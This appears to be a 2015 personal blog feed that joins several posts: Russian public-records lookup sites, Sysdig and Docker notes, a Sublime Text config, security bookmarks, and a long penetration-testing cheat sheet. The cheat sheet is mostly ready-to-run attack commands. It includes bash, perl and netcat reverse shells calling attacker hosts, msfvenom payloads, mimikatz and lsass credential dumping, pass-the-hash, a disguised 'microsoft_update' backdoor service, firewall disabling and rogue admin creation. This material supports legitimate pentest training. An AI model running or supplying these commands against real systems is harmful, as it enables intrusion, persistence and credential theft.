http://results.audit.gov.ru/ – портал открытых данных Счетной палаты Российской Федерации.
http://sudact.ru/ – ресурс по судебным и нормативным актам, включающим решения судов общей юрисдикции, арбитражных судов и мировых судей с качественным удобным поисковиком.
http://www.cbr.ru/credit/main.asp – справочник по кредитным организациям. Сведения ЦБ РФ о банках и прочих кредитных организациях, об отзывах лицензий на осуществление банковских операций и назначениях временных администраций, раскрытие информации и пр.
https://service.nalog.ru/inn.do – сервис определения ИНН физического лица.
https://service.nalog.ru/bi.do – сервис позволяет выяснить, заблокированы или нет банковские счета конкретного юридического лица или индивидуального предпринимателя.
http://188.254.71.82/rds_ts_pub/ – национальная часть единого реестра зарегистрированных таможенных деклараций, позволяющая определить кто, что, когда и откуда привез в нашу страну.
http://services.fms.gov.ru/ – проверка действительности паспортов и другие сервисы от ФМС России.
http://zakupki.gov.ru/223/dishonest/public/supplier-search.html – реестр недобросовестных поставщиков.
http://fedsfm.ru/documents/terrorists-catalog-portal-act – ресурс позволяет проверить, не являются ли ваши клиенты, контрагенты, конкуренты, партнеры террористами или экстремистами.
http://www.stroi-baza.ru/forum/index.php?showforum=46 - «черный список» по российским строительным компаниям.
http://xn–90afdbaav0bd1afy6eub5d.xn–p1ai/ – единая база данных решений судов общей юрисдикции РФ.
http://web-compromat.com/service.html – набор сайтов, облегчающих проверку компаний и физических лиц.
http://www.centerdolgov.ru/ – информация о недобросовестных компаниях-должниках России, Украины, Белоруссии, Казахстана. Поиск возможен по названию компаний, ИНН, стране и городу.
http://www.egrul-base.ru/ - проверка клиентов, контрагентов, конкурентов за 15-30 минут. Проверка включает в себя поиск по «черным спискам», определение фактического хозяина бизнеса, связи компании, ее учредителей, генерального директора с другими организациями. Информация из ЕГРЮЛ. Цена 500 руб.
http://ras.arbitr.ru/ - Высший арбитражный суд РФ с картотекой арбитражных дел и банком решения арбитражных судов.
http://bankrot.fedresurs.ru/ – единый федеральный реестр сведений о банкротстве.
http://sts.gov.ua/businesspartner - лучший сервис проверки контрагентов, клиентов, конкурентов в Украине от Налоговой службы страны. Позволяет проверять юридическое лицо не только по собственным данным налоговой службы, но и другим открытым базам данных государственных порталов Украины. В России такого пока нет.
https://rosreestr.ru/wps/portal/cc_information_online – справочная информация по объектам недвижимости в режиме он-лайн от Федеральной службы государственной регистрации, кадастра и картографии.
http://www.nomer.org/moskva/ – телефонная база г.Москвы. Содержит адреса и телефоны всех московских квартир, в которых установлен телефон, и не только МГТС.
http://spravkaru.net/ – онлайн телефонный справочник по городам и регионам России.
http://rossvyaz.ru/activity/num_resurs/registerNum/ – полезный поисковик, позволяющий определить оператора по номеру или фрагменту номера телефона оператора, месторасположение и т.п.
http://www.rospravosudie.com/ – поисковик-сервис по судебным решениям в России. Содержит все опубликованные судебные решения, список судей Российской Федерации, а также список действующих адвокатов. По каждому судье можно посмотреть списки его решений. Предоставляет статистику преступлений по регионам. Является некоммерческим проектом.
http://www.salyk.kz/ru/taxpayer/interaktiv/Pages/default.aspx – официальный портал Налогового комитета Министерства финансов республики Казахстан. Располагает рядом удобных сервисов, включая реестр плательщиков НДС, поиск налогоплательщиков в республике и проч.
https://focus.kontur.ru/ - лучший в Рунете по соотношению цены и качества сервис проверки клиентов, контрагентов и т.п., пользуясь официальными источниками статистики. Наряду с получением данных по отдельной организации позволяет в качестве дополнительной опции искать аффилированные между собой организации, а также пересечение по генеральным директорам, собственникам и т.п.
http://fias.nalog.ru/Public/NewsPage.aspx – позволяет установить наличие или отсутствие любого адреса в любом месте в стране. Если точно такого адреса нет, то система выдаст наиболее близкие.
http://alexandr-sel.livejournal.com/33499.html#cutid1 – исчерпывающая и структурированная база ресурсов для проверки компаний на территории Республики Беларусь.
http://fellix13.livejournal.com/6683.htmlhttp:/ – необходимый набор ресурсов для проверки конрагентов на Украине от Сергея Коржова.
http://mbcredit.ru/ – в группу компаний Cronos входят ЗАО МБКИ, которое предоставляет качественные бизнес-справки и в режиме он-лайн осуществляет проверку кредитных историй по любым компаниям и персоналиям по конкурентным ценам, а также многое другое. Цены вполне конкурентные.
http://cases.pravo.ru/ – картотека арбитражных дел. При помощи сервиса вы получаете доступ к любому делу в любом арбитражном суде. Достаточно указать известные вам параметры. Искать надо при помощи правой колонки. Поиск можно вести по участникам дела (название организации или ИНН), по фамилии судьи, по номеру дела, фильтровать по датам.
http://www.gcourts.ru/ – поисковик и одновременно справочник от Yandex по судам общей юрисдикции. Позволяет искать по номерам дел, ответчикам, истцам, отслеживать прохождение дел по всем инстанциям. Просто неоценимый инструмент для безопасников и разведчиков.
https://service.nalog.ru/debt/ – сервис «Узнай свою задолженность» позволяет пользователям узнавать не только свою задолженность, но осуществлять поиск информации о задолженности по имущественному, транспортному, земельному налогам, налогу на доходы физических лиц, граждан РФ.
http://www.nopassword.ru/?p=41&cpage=1#comment-3287 – есть такая профессия в стране, уводить деньги в офшоры и сделки через них производить. На ресурсе есть почти исчерпывающая коллекция ссылок на сайты, позволяющие отыскать нужную вам компанию в зоне ее юрисдикции и получить хоть какую-то, иногда и достаточную информацию об искомой офшорке. Практически все ссылки рабочие, одна-две требуют обновления.
http://adnotamru.blogspot.com/ – на ресурсе богатейшая, хотя несколько беспорядочная коллекция полезнейших ссылок на сайты, позволяющие установить «красные флажки» как на физиков, так и на юриков. Ссылки не только на российские ресурсы, но и на ресурсы Украины, Белоруссии, Казахстана.
http://www.law-soft.ru/ – информация о предприятиях, находящихся в стадии банкротства, обобщается из «Коммерсанта», «Российской газеты». Информация с 2007 года по настоящее время. Через расширенный поиск Yandex отлично ищется по сайту.
http://egrul.nalog.ru/ – отсюда можно почерпнуть сведения, внесенные в Единый Государственный Реестр Юридических Лиц.
http://www.e-disclosure.ru/ – сервер раскрытия информации по эмитентам ценных бумаг РФ.
http://www.fssprus.ru/ – картотека арбитражных дел Высшего Арбитражного Суда Российской Федерации
http://www.mgodeloros.ru/register/search/ – база данных должников, в которой зарегистрированы все физические и юридические лица как частного, так и публичного права (кроме государственных и органов местного самоуправления, а также тех субъектов, имущество которых сдано в ипотеку или в заклад), в отношении которых начата процедура принудительного исполнения.
http://rnp.fas.gov.ru/?rpage=687&status=find – Реестр недобросовестных поставщиков ФАС РФ
https://rosreestr.ru/wps/portal - портал услуг Федеральной Службы Государственной Регистрации, Кадастра и Картографии, где можно получить сведения о земельной собственности и расположенной на ней недвижимости.
http://services.fms.gov.ru/info-service.htm?sid=2000 – официальный сайт Федеральной миграционной службы России, где можно получить информацию о наличии/отсутствии регистрации того или иного гражданина на территории РФ и некоторую иную информацию.
http://www.notary.ru/notary/bd.html - нотариальный портал. Содержит список с координатами всех частных практикующих нотариусов России и нотариальных палат. Для зарегистрированных пользователей доступна судебная практика нотариусов и файловый архив. База обновляется ежедневно.
http://kad.arbitr.ru/ – он-лайн картотека Арбитражного Суда Российской Федерации.

Открытые базы данных РФ was originally published by EK at EK on July 04, 2015.

Playing with Sysdig

2015-07-03 18:32:42 +0300T00:00:00-00:00

Learn how to use Sysdig

First steps with Sysdig

# install 
curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add -
curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/stable/deb/draios.list
apt-get update
apt-get -y install linux-headers-$(uname -r)
apt-get -y install sysdig

# capturing and reading events
sysdig -vDw filename
sysdig -vDr filename

# filtering the data
sysdig -l
sysdig -vDr filename  "proc.name=sshd"
sysdig -vDr filename  "proc.name=sshd and evt.type=accept and evt.dir=<"
sysdig -vDr filename  "proc.name=sshd and evt.type=read and evt.dir=<"
sysdig -s 65536 -vSzw nginx.scap "proc.name=nginx"
sysdig -s 65536 -vSzw httpd.scap "proc.name=httpd"
sysdig -r httpd.scap -j -p "%evt.time %fd.directory %fd.filename" "evt.type=open and evt.dir=<"

# analyzing syslog with sysdig
sysdig -c spy_syslog
sysdig -c spy_syslog 'syslog.severity < 4 and proc.name=logger'
sysdig -F -w trace.scap evt.is_syslog=true

# analyzing application logs with sysdig
sysdig -c spy_logs
sysdig -c spy_logs proc.name=httpd and evt.buffer contains GET
sysdig -r system.scap -c spy_logs "request.scap 1000" "evt.buffer contains Database"
-c spy_logs “request.scap 1000″ means: for each event selected, save 1000ms of system activity before it happened and 1000ms of activity after it happened, but just for the thread that generated the event, and save it to request.scap

“evt.buffer contains Database” is our filter for selecting events, which we use to isolate the specific log entry we’re interested in (and in fact, sysdig confirms the success of our filter by showing the one log message we wanted to isolate in this case)

# lsof + filters
sysdig -c lsof "proc.name=sshd"
sysdig -c lsof "'fd.type=ipv4 and user.name=root'"
sysdig -c lsof "'fd.name contains /etc'"
sysdig -c ps "'fd.type=ipv4'"
sysdig -c ps "'fd.name contains /etc or fd.type=ipv4'"

# chisels(Lua scripts)
sysdig -c topprocs_cpu
sysdig -c topprocs_net
sysdig -c topconns

Playing with Sysdig was originally published by EK at EK on July 03, 2015.

Offensive Security Bookmarks

2015-07-03 16:58:01 +0300T00:00:00-00:00

My security bookmarks collection.

All that things I need to pass OSCP, i think =)

Security Blogs
Security Forums
Tor Onion Links
Security Methodologies
Training/Classes/Video
Pentest Tools
Pentest Lab ISO-VMs
Metasploit
Net Scanners
Man-in-the-middle attack
Phase 1 - Reconnaissance: Information Gathering before the Attack
Phase 2 - Enumeration: Finding Attack Vectors
Phase 3 - Exploitation: Verifying Security Weaknesses

Security Blogs

My Security OPML

Security Forums

Tor Onion Links

http://www.hiddenwiki.info/

Security Methodologies

Training/Classes/Video

Pentest Tools

Pentest Lab ISO-VMs

Metasploit

Net Scanners

Man-in-the-middle attack

Phase 1 - Reconnaissance: Information Gathering before the Attack

Phase 1.1 - People and Orginizational

Phase 1.2 - Infastructure

Phase 1.2 - Tools

Phase 2 - Enumeration: Finding Attack Vectors

Phase 3 - Exploitation: Verifying Security Weaknesses

Dump Windows Password Hashes

http://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes.html

Windows Passhing The Hash

Windows Previlige Escalation

http://toshellandback.com/2015/11/24/ms-priv-esc/
[https://labs.mwrinfosecurity.com/system/assets/760/original/Windows_Services_-All_roads_lead_to_SYSTEM.pdf](https://labs.mwrinfosecurity.com/system/assets/760/original/Windows_Services-_All_roads_lead_to_SYSTEM.pdf)
http://travisaltman.com/windows-privilege-escalation-via-weak-service-permissions/
https://github.com/0xdeafbeef/PSSecSnapshot
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
http://www.fuzzysecurity.com/tutorials/16.html
http://www.youtube.com/watch?v=kMG8IsCohHA
http://www.youtube.com/watch?v=_8xJaaQlpBo
http://www.greyhathacker.net/?p=738
http://bernardodamele.blogspot.ru/2011/12/dump-windows-password-hashes.html

Linux Previlige Escalation

Tunneling & Port Forwarding

XSS Cheat Codes

WebShells

SQLi General Resources

MySQLi Resources

MSSQLi Resources

RFI/LFI Tutorials

NASM Tutorial

http://ccm.net/faq/1559-compiling-an-assembly-program-with-nasm

Buffer Overflow Tutorial

Exploit Development

Exploits and Shellcodes

Reverse Engineering

OS Cheat Sheets and Script Syntax

Passwords Wordlists, Hashes, Tools

InfoSec Hiring

IT Certifications

http://certs.infosecinstitute.com/

Links Collections

Books

Offensive Security Bookmarks was originally published by EK at EK on July 03, 2015.

Sublime Text 3

2015-07-02 15:30:48 +0300T00:00:00-00:00

My configuration

Install Packagecontrol

https://packagecontrol.io/installation#st3

Install Plugins

install Alignment
install BracketHighlighter
install Git
install GitGutter
install SideBarGit
install SidebarEnhancements
install Soda theme
install Flatland theme
install SublimeCodeIntel
install gosublime
install terminal
install Javatar
SublimeAStyleFormatter

Install Settings - User

{
    "bold_folder_labels": true,
    "color_scheme": "Packages/Theme - Flatland/Flatland Dark.tmTheme",
    "create_window_at_startup": false,
    "detect_indentation": false,
    "detect_slow_plugins": false,
    "draw_white_space": "all",
    "enable_telemetry": false,
    "fade_fold_buttons": false,
    "folder_exclude_patterns":
    [
        ".svn",
        ".git",
        ".hg",
        "CVS",
        "_build",
        "dist",
        "build",
        "site",
        ".bin",
        "node_modules"
    ],
    "font_options": ["bold","subpixel_antialias"],
    "font_size": 12,
    "highlight_line": true,
    "highlight_modified_tabs": true,
    "ignored_packages":
    [
        "Vintage"
    ],
    "line_padding_bottom": 1,
    "line_padding_top": 1,
    "open_files_in_new_window": false,
    "preview_on_click": false,
    "remember_open_files": true,
    "rulers":
    [
        80
    ],
    "scroll_past_end": true,
    "show_encoding": true,
    "show_line_endings": true,
    "show_tab_close_buttons": false,
    "soda_folder_icons": true,
    "tab_completion": false,
    "tab_size": 4,
    "theme": "Soda Dark.sublime-theme",
    "translate_tabs_to_spaces": true,
    "trim_trailing_white_space_on_save": true,
    "vintage_start_in_command_mode": false,
    "word_wrap": true,
	"update_check": false
}

Sublime Text 3 was originally published by EK at EK on July 02, 2015.

Playing with Docker

2015-07-02 12:10:18 +0300T00:00:00-00:00

Learn how to use Docker

Sites

Video

Pluralsight - Docker Deep Dive

First steps with Docker

# install docker
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 36A1D7869245C8950F966E92D8576A8BA88D21E9
sudo sh -c "echo deb https://get.docker.com/ubuntu docker main > /etc/apt/sources.list.d/docker.list"
sudo apt-get update
sudo apt-get install lxc-docker

# launch simple container
sudo docker pull phusion/baseimage
sudo docker run -i -t phusion/baseimage:latest /sbin/my_init -- bash -l
sudo docker ps

# save container image
sudo docker commit <container id> baseimage-ssh
sudo docker stop <container id>

# launch container with demonisation
sudo docker run -d -i -t baseimage-ssh /sbin/my_init

# get container IP
sudo docker inspect -f "" <container id>

# launch container with ssh port forwarding
sudo docker stop <container id>
sudo docker run --dns 192.168.0.1 -p 127.0.0.1:222:22 -d -i -t baseimage-ssh /sbin/my_init
ssh -p 222 root@localhost

# install nginx in container, save
apt-get update
apt-get install nginx
service nginx start
curl localhost

echo "service nginx start" > /etc/my_init.d/01_services.sh
chmod a+x /etc/my_init.d/01_services.sh

sudo docker ps
sudo docker commit <container id> baseimage-nginx
sudo docker stop <container id>

# launch nginx image
sudo docker run --name docker-nginx --dns 192.168.0.1 -p 127.0.0.1:222:22 -p 127.0.0.1:8080:80 -d -i -t baseimage-nginx /sbin/my_init
curl localhost:8080

# stop nginx container
sudo docker stop docker-nginx

# rollback to last image version
sudo docker run -i -t baseimage-nginx:latest /sbin/my_init --skip-startup-files -- bash -l

# export container image
sudo docker save -o baseimage-nginx.img baseimage-nginx

# import container image
sudo docker load -i baseimage-nginx.img

Playing with Docker was originally published by EK at EK on July 02, 2015.

Pentest Tips and Tricks

2015-07-01 12:03:31 +0300T00:00:00-00:00

Pentest Handy Tips and Tricks.

Other Parts
Nmap Full Web Vulnerable Scan
Dirb Dir Bruteforce:
Nikto web server scanner
WordPress Scanner
HTTP Fingerprinting
SKIP Fish Scanner
Nmap Ports Scan
NC Scanning
Unicornscan
Xprobe2 OS fingerprinting
Samba Enumeration
Netcat examples
Banner grabbing with NC

Other Parts

Nmap Full Web Vulnerable Scan

cd /usr/share/nmap/scripts/
wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz
nmap -sS -sV --script=vulscan/vulscan.nse target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target
nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target
nmap -sV --script=vuln target
nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target

Dirb Dir Bruteforce:

dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt

Nikto web server scanner

nikto -C all -h http://IP

WordPress Scanner

git clone https://github.com/wpscanteam/wpscan.git && cd wpscan
./wpscan –url http://IP/ –enumerate p

HTTP Fingerprinting

wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip
cd httprint_301/linux/
./httprint -h http://IP -s signatures.txt

SKIP Fish Scanner

skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP

Nmap Ports Scan

1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)
1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)
2)fargement
3)data packed – like orginal one not scan packet
4)use auxiliary/scanner/ip/ipidseq for find zombie ip in network to use them to scan — nmap -sI ip target
5)nmap –source-port 53 target
nmap -sS -sV -D IP1,IP2,IP3,IP4,IP5 -f –mtu=24 –data-length=1337 -T2 target ( Randomize scan form diff IP)
nmap -Pn -T2 -sV –randomize-hosts IP1,IP2
nmap –script smb-check-vulns.nse -p445 target (using NSE scripts)
nmap -sU -P0 -T Aggressive -p123 target (Aggresive Scan T1-T5)
nmap -sA -PN -sN target
nmap -sS -sV -T5 -F -A -O target (version detection)
nmap -sU -v target (Udp)
nmap -sU -P0 (Udp)
nmap -sC 192.168.31.10-12 (all scan default)

NC Scanning

nc -v -w 1 target -z 1-1000
for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done

Unicornscan

us -H -msf -Iv 192.168.56.101 -p 1-65535
us -H -mU -Iv 192.168.56.101 -p 1-65535

-H resolve hostnames during the reporting phase
-m scan mode (sf - tcp, U - udp)
-Iv - verbose

Xprobe2 OS fingerprinting

xprobe2 -v -p tcp:80:open IP

Samba Enumeration

nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target

SNMP Enumeration

snmpget -v 1 -c public IP
snmpwalk -v 1 -c public IP
snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP

Windows Useful cmds

net localgroup Users
net localgroup Administrators
search dir/s *.doc
system("start cmd.exe /k $cmd")
sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore
/c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp For 32 bits
C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp For 64 bits

PuTTY Link tunnel

Forward remote port to local address
plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 IP

Meterpreter portfwd

# https://www.offensive-security.com/metasploit-unleashed/portfwd/
# forward remote port to local address
meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141
kali > rdesktop 127.0.0.1:3389

Enable RDP Access

reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable

Turn Off Windows Firewall

netsh firewall set opmode disable

Meterpreter VNC\RDP

a
# https://www.offensive-security.com/metasploit-unleashed/enabling-remote-desktop/
run getgui -u admin -p 1234
run vnc -p 5043

Add New user in Windows

net user test 1234 /add
net localgroup administrators test /add

Mimikatz use

git clone https://github.com/gentilkiwi/mimikatz.git
privilege::debug
sekurlsa::logonPasswords full

Passing the Hash

git clone https://github.com/byt3bl33d3r/pth-toolkit
pth-winexe -U hash //IP cmd

or

apt-get install freerdp-x11
xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP

or

meterpreter > run post/windows/gather/hashdump
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
meterpreter > shell

Hashcat password cracking

hashcat -m 400 -a 0 hash /root/rockyou.txt

Netcat examples

c:> nc -l -p 31337
#nc 192.168.0.10 31337
c:> nc -v -w 30 -p 31337 -l < secret.txt
#nc -v -w 2 192.168.0.10 31337 > secret.txt

nc 192.168.0.10 80
GET / HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/4.0
Referrer: www.example.com
<enter>
<enter>

Window reverse shell

c:>nc -Lp 31337 -vv -e cmd.exe
nc 192.168.0.10 31337
c:>nc example.com 80 -e cmd.exe
nc -lp 80

nc -lp 31337 -e /bin/bash
nc 192.168.0.10 31337
nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000

Find SUID\SGID root files

# Find SUID root files
find / -user root -perm -4000 -print

# Find SGID root files:
find / -group root -perm -2000 -print

# Find SUID and SGID files owned by anyone:
find / -perm -4000 -o -perm -2000 -print

# Find files that are not owned by any user:
find / -nouser -print

# Find files that are not owned by any group:
find / -nogroup -print

# Find symlinks and what they point to:
find / -type l -ls

Python shell

python -c 'import pty;pty.spawn("/bin/bash")'

Python\Ruby\PHP HTTP Server

python2 -m SimpleHTTPServer
python3 -m http.server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start"
php -S 0.0.0.0:8888

Get PIDs of process

fuser -nv tcp 80
fuser -k -n tcp 80

Hydra rdp Bruteforce

hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp

smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw

Compiling Exploit in Kali

gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)

Compiling Windows Exploits on Kali

wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe

NASM Commands

nasm -f bin -o payload.bin payload.asm
nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload

SSH Pivoting

ssh -D 127.0.0.1:1080 -p 22 user@IP
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains commands target

SSH Pivoting from One Network to Another

ssh -D 127.0.0.1:1080 -p 22 user1@IP1
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2
Add socks4 127.0.0.1 1081 in /etc/proxychains.conf
proxychains commands target

Pivoting Using metasploit

route add X.X.X.X 255.255.255.0 1
use auxiliary/server/socks4a
run
proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E

or

# https://www.offensive-security.com/metasploit-unleashed/pivoting/
meterpreter > ipconfig
IP Address  : 10.1.13.3
meterpreter > run autoroute -s 10.1.13.0/24
meterpreter > run autoroute -p
10.1.13.0          255.255.255.0      Session 1
meterpreter > Ctrl+Z
msf auxiliary(tcp) > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 10.1.13.2
msf exploit(psexec) > exploit
meterpreter > ipconfig
IP Address  : 10.1.13.2

Exploit-DB search using CSV File

git clone https://github.com/offensive-security/exploit-database.git
cd exploit-database
./searchsploit –u
./searchsploit apache 2.2
./searchsploit "Linux Kernel"

cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3

MSF Payloads

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exe
msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a x86 --platform win -f asp -o file.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c

MSF Linux Reverse Meterpreter Binary

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -f elf -a x86 --platform linux -o shell

MSF Reverse Shell (C Shellcode)

msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c

MSF Reverse Shell Python Script

msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py

MSF Reverse ASP Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp

MSF Reverse Bash Shell

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh

MSF Reverse PHP Shell

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.php
add <?php at the beginning
perl -i~ -0777pe's/^/<?php \n/' shell.php

MSF Reverse Win Bin

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe

Linux Security Commands

# find programs with a set uid bit
find / -uid 0 -perm -4000

# find things that are world writable
find / -perm -o=w

# find names with dots and spaces, there shouldn’t be any
find / -name " " -print
find / -name ".." -print
find / -name ". " -print
find / -name " " -print

# find files that are not owned by anyone
find / -nouser

# look for files that are unlinked
lsof +L1

# get information about procceses with open ports
lsof -i

# look for weird things in arp
arp -a

# look at all accounts including AD
getent passwd

# look at all groups and membership including AD
getent group

# list crontabs for all users including AD
for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done

# generate random passwords
cat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?=’|fold -w 12| head -n 4

# find all immutable files, there should not be any
find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’

# fix immutable files
chattr -i file

Win Buffer Overflow Exploit Commands

msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f c
msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "\x00" -f c

COMMONLY USED BAD CHARACTERS:
\x00\x0a\x0d\x20                              For http request
\x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c           Ending with (0\n\r_)

# Useful Commands:
pattern create
pattern offset (EIP Address)
pattern offset (ESP Address)
add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode )

!pvefindaddr pattern_create 5000
!pvefindaddr suggest
!pvefindaddr modules
!pvefindaddr nosafeseh

!mona config -set workingfolder C:\Mona\%p
!mona config -get workingfolder
!mona mod
!mona bytearray -b "\x00\x0a"
!mona pc 5000
!mona po EIP
!mona suggest

SEH - Structured Exception Handling

# https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH
!mona suggest
!mona nosafeseh
nseh="\xeb\x06\x90\x90" (next seh chain)
iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN)

ROP (DEP)

# https://en.wikipedia.org/wiki/Return-oriented_programming
# https://en.wikipedia.org/wiki/Data_Execution_Prevention
!mona modules
!mona ropfunc -m *.dll -cpb "\x00\x09\x0a"
!mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest)

ASLR - Address space layout randomization

# https://en.wikipedia.org/wiki/Address_space_layout_randomization
!mona noaslr

EGG Hunter techniques

# https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
# http://www.fuzzysecurity.com/tutorials/expDev/4.html
!mona jmp -r esp
!mona egg -t lxxl
\xeb\xc4 (jump backward -60)
buff=lxxllxxl+shell
!mona egg -t 'w00t'

GDB Debugger Commands

# Setting Breakpoint
break *_start

# Execute Next Instruction
next
step
n
s

# Continue Execution
continue
c

# Data
checking 'REGISTERS' and 'MEMORY'

# Display Register Values: (Decimal,Binary,Hex)
print /d –> Decimal
print /t –> Binary
print /x –> Hex
O/P :
(gdb) print /d $eax
$17 = 13
(gdb) print /t $eax
$18 = 1101
(gdb) print /x $eax
$19 = 0xd
(gdb)

# Display values of specific memory locations
command : x/nyz (Examine)
n –> Number of fields to display ==>
y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal)
z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit)

BASH Reverse Shell

bash -i >& /dev/tcp/X.X.X.X/443 0>&1

exec /bin/bash 0&0 2>&0
exec /bin/bash 0&0 2>&0

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done
exec 5<>/dev/tcp/attackerip/4444

cat <&5 | while read line; do $line 2>&5 >&5; done # or:
while read line 0<&5; do $line 2>&5 >&5; done

/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1
/bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1 2>&1

PERL Reverse Shell

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

# for win platform
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’

RUBY Reverse Shell

